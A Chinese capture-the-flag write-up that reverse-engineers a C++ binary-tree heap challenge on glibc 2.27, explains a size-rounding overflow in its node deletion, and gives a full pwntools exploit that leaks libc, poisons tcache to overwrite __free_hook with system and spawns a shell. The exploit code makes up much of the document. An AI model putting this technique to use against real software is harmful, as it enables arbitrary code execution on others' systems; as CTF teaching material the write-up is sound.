CTF高质量PWN题之二叉树的漏洞利用

初步分析

【技术资料】

程序运行起来看起来似乎是一道常规的菜单堆题：

libc环境：

是Glibc 2.27-3ubuntu1.4，这个版本与2.31版本很像，都有key机制，一定程度上防止了double free的攻击。

回到程序，程序的功能有插入，展示和删除，我们具体用IDA打开来看看程序是个什么逻辑。

可以看到函数列表有非常多的函数（原题去除了符号表，笔者经过逆向重命名了一些函数符号），并且使用c++编写，逆向起来难度更大，如果采取常规的静态分析手段，可能会花费很大的精力，由于题目名字是cxx_and_tree，我们猜测整个程序是用树这种数据结构来存储信息，最经典的莫过于二叉树，我们可以来写个demo来测试程序，如果申请以下堆块，那么堆结构如下面的图：

add(0, 0x60, 'a')
add(4, 0x60, 'a')
add(2, 0x60, 'a')
add(9, 0x60, 'a')
add(3, 0x60, 'a')
add(7, 0x60, 'a')

其中0x40大小的为node部分数据，其余大小的为其data数据，将其画为二叉树长成如下样子：

左右子树根据其index分如上图，并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。

经过逐步调试和逆向加深对程序的理解后，笔者分析node结构体如下：

struct node
{
     
__int64 idx;  // 节点号
__int64 user_size; // 用户输入的size
__int64 *self_heap_buf; // 存储数据的buf
node *left; // 左孩子
node *right; // 右孩子
node *father; // 父节点
};

具体的漏洞和代码逆向请看下文。

漏洞分析与逻辑触发点

漏洞位于当我们删除某个二叉树节点的时候，如果该节点有左右子树，会调用一个memcpy的函数，这个函数的对于节点size的处理是有问题的。

在申请节点的时候，其size的算法是这样的：

做了一个类似于align的操作，这个操作是很安全的，人为扩展了一下chunk，使得我们能够申请的最大的size和其align之后最小的size一样大，但是下面的删除节点的操作就有bug了：

v2 = (unsigned __int64)tmp_target->user_size >> 3;

写个poc来看下我们能溢出的字节数量。

def poc():
for size in range(0x10, 0xff + 1):
biggerSize = ((size >> 3) + 1) * 8
smallerSize = (size >> 3) * 8
if biggerSize > smallerSize:
print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize)))
poc()

注意到我们在触发这个逻辑的时候，有部分size是比biggerSize要小的，最多可以溢出7字节。

整个删除节点的逻辑如下：

想要到达漏洞点所在的位置，则该节点必须同时拥有左右孩子节点才可以。

分析下如果该节点同时拥有左右孩子节点，那么删除该节点的时候发生的流程大致如下：

首先是获得该节点中右子树中最小的元素（按idx确定大小，因为下面一直走的是左子树的逻辑）

然后将其要替换的节点传入到带有bug的函数中，在此函数中，程序重新申请了一块buf，然后复制要替换节点的数据到新的buf中，值得注意的是，并没有像我们传统的数据结构中一通乱改指针，而是采用了一个复制的思想，但是新创建的buf的size给少了，控制得当能够溢出七个字节。

然后再往下的逻辑就是删掉刚才的右子树中的最小节点，因为其数据已经拷贝到原本要删除的节点当中。

在这里我有个疑问，既然之前选到了右子树的最小的节点，那么为什么还要判断其是否还有左子树呢？上面的分支应该永远不会进入，或许是出题人为了增加逆向难度，又或者是出题人面向ctrl+CV编程。

然后进入一个删除节点的函数：

unsigned __int64 __fastcall delete_leaf_node_or_right_children(struct node **father_node, struct node **to_delete_node, struct node **tmp_father_node)
{
     
struct node *v3; // rbx
struct node *v4; // rbx
struct node *v5; // rbx
struct node *v6; // rbx
unsigned __int64 v8; // [rsp+28h] [rbp-18h]
v8 = __readfsqword(0x28u);
if ( *to_delete_node == *father_node )        // only root node
{
     
if ( *((_DWORD *)father_node + 4) == 1 )    // only a node
{
     
v3 = *to_delete_node;
if ( *to_delete_node )
{
     
deleteNode0((__int64)*to_delete_node);
operator delete(v3);
}
*father_node = 0LL;
--*((_DWORD *)father_node + 4);
*to_delete_node = 0LL;
}
else                                        // has right children
{
     
*father_node = (*father_node)->right;
(*father_node)->father = 0LL;             // because of the "to_delete_node == father_node", the children will be the root node
v4 = *to_delete_node;
if ( *to_delete_node )
{
     
deleteNode0((__int64)*to_delete_node);
operator delete(v4);
}
*to_delete_node = 0LL;
}
}
else if ( *to_delete_node == (*tmp_father_node)->left )// if the node to delete is in the left of its father node:
{
     
(*tmp_father_node)->left = (*to_delete_node)->right;// change parent ptr and children ptr
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v5 = *to_delete_node;
if ( *to_delete_node )
{
     
deleteNode0((__int64)*to_delete_node);
operator delete(v5);
}
*to_delete_node = 0LL;
}
else                                          // if the node to delete is in the right of its father node:
{
     
(*tmp_father_node)->right = (*to_delete_node)->right;
if ( (*to_delete_node)->right )
(*to_delete_node)->right->father = *tmp_father_node;
v6 = *to_delete_node;
if ( *to_delete_node )
{
     
deleteNode0((__int64)*to_delete_node);
operator delete(v6);
}
*to_delete_node = 0LL;
}
return __readfsqword(0x28u) ^ v8;
}

分为两种情况删除，一是叶子节点，另外就是还有一个右孩子节点，删除的方法很普通，就是普通数据结构中学的删除方法一样。

漏洞利用

完整exp如下：

from pwn import *
import sys
arch =  64
challenge = "./pwn1"
libc_path_local = "/glibc/x64/1.4_2.27/libc.so.6"
libc_path_remote = ""
local = int(sys.argv[1])
elf = ELF(challenge)                                                                              
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-hp', '65']
if local:
if libc_path_local:
io = process(challenge,env = {
     "LD_PRELOAD":libc_path_local})
# io = gdb.debug(challenge, 'b *$rebase(0x279f)')
libc = ELF(libc_path_local)
else:
io = process(challenge)
else:
io = remote("node4.buuoj.cn", 25965)
if libc_path_remote:
libc = ELF(libc_path_remote)
if arch == 64:
context.arch = 'amd64'
elif arch == 32:
context.arch = 'i386'
def dbg():
context.log_level = 'debug'
def echo(content):
print("\033[4;36;40mOutput prompts:\033[0m" + "\t\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + content + "\033[0m")
p   = lambda     : pause()
s   = lambda x   : success(x)
re = lambda m, t : io.recv(numb=m, timeout=t)
ru = lambda x   : io.recvuntil(x)
rl = lambda     : io.recvline()
sd = lambda x   : io.send(x)
sl = lambda x   : io.sendline(x)
ia = lambda     : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa = lambda a, b : io.sendafter(a, b)
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
bps = []
pie = 0
def gdba():
if local == 0:
return 0
cmd ='b *$rebase(0x1ee2)\n'
if pie:
base = int(os.popen("pmap {}|awk '{
     {print ./pwn1}}'".format(io.pid)).readlines()[1],16)
cmd +=''.join(['b *{:#x}\n'.format(b+base) for b in bps])
cmd +='set base={:#x}\n'.format(base)
else:
cmd+=''.join(['b *{:#x}\n'.format(b) for b in bps])
gdb.attach(io,cmd)
_add,_free,_show = 2,3,1
menu = "3.remove_information"
def add(idx, size, content):
sla(menu, str(_add))
sla("idx:", str(idx))
sla('size:', str(size))
sa("content:", content)
# ru('addr=')
# return int(io.recv(5), base=16)
def free(idx):
sla(menu, str(_free))
sla("idx:", str(idx))
def show():
sla(menu, str(_show))
def exp():
for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)
add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))
# The last one chunks are buF areas of Number 3
# The last two chunks are buF areas of Number b
free(11) # 5c0 will corrupt
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))
​
add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)
​
free(0)
free(4)
free(15)
free(10)
free(13)
​
​
# Get the second chunk of 0x30
add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)
​
free(10)
free(15)
​
add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
​
free(8)
​
exp()
ia()

漏洞其实并不太好利用，分析原因如下：insert节点的时候会额外申请别的堆块出来，整体的堆布局我们其实并不太好控制，所以漏洞利用的时候会有时不可控，我们需要反复的调试，现给出exp的书写思路。

泄露libc基址

for i in range(8):
add(i, 0xd0, 'a')
for i in range(7):
free(i)
add(8, 0x20, 'a')
show()
leak = uu64(ru('\x7f')[-6:]) - 289 - 0x10 - libc.sym['__malloc_hook']
libc_base = leak
echo('libc base:' + hex(libc_base))
free(7)
free(8)

在2.27下，只要循环填满tcache即可很容易的泄露出libc

布置二叉树

add(7, 0xdf, 'z' * 0xdf)
add(4, 0xd0, 'a')
add(2, 0xd0, 'a')
add(11, 0xdf, (p64(0) + p64(0xd1)) * 2)
add(10, 0xdf, 'c' * 0xdf)
add(15, 0xdf, 'd' * 0xdf)
add(13, 0xdf, 'e' * 0xd8 + p32(0x71).ljust(7, '\x00'))

可以看到，我们在输入content的时候会输入一些很奇怪的值，这个时候的值我们是无法确定的，必须结合后文来慢慢调试。

初始状态如图所示，这个时候我们去free11，将会到达漏洞所在逻辑的位置处，让程序触发漏洞。

此时堆空间的布局如图所示：

可以看到这个时候其实已经利用了漏洞改写了下一个堆块的size位，形成了overlap。

下面是关键操作，劫持tcache数组的0x30大小的chunk的fd为hook。

free(4)
add(4, 0x60, p64(0) * 6 + p64(0) + p64(0x31) + p64(__free_hook))

此时的bins情况：

此时的二叉树为：

因为现在已经将freehook链入到tcache里面，下面我们的工作主要就是围绕怎么将其申请出来而努力，首先直接申请是肯定不行的，我也没有深究，因为申请的时候会首先申请两个chunk出来，然后将其free掉，然后再做一系列的memcpy操作，在这一系列的过程中，无法保证中间chunk的合法性能够绕过检查，所以我们还是利用漏洞点申请不同size的chunk的这一特性努力，我们可以逐个布置满足要求的二叉树节点，然后利用漏洞来申请出来这个chunk。

第一轮申请

add(0, 0x2f, 'a')
add(3, 0x2f, 'a' * 0x28 + p32(0x51).ljust(7, '\x00'))
free(2)

布置完如下node，二叉树为：

堆布局为：

可以看到还有两个node就可以申请到freehook。

free(0)
free(4)
free(15)
free(10)
free(13)

清除一些无关的node，为我们布置节点做好铺垫。

第二轮申请

add(13, 0xd0, 'a')
add(10, 0x2f, 'a')
add(15, 0x2f, 'a')
add(14, 0x2f, 'l' * 0x28 + p32(0x31).ljust(7, '\x00'))
free(13)

此时二叉树为：

堆布局为：

清除一些节点来重新布置。

free(10)
free(15)

第三轮申请并getshell

故技重施，最终可以申请到hook所在空间并getshell。

add(10, 0xd0, '/bin/sh\x00')
add(8, 0x2f, '/bin/sh\x00')
add(13, 0x2f, '/bin/sh\x00')
add(12, 0x2f, p64(system) + p64(0) * (0x28/0x8 - 1) + p32(0).ljust(7, '\x00'))
free(10)
free(8) # getshell

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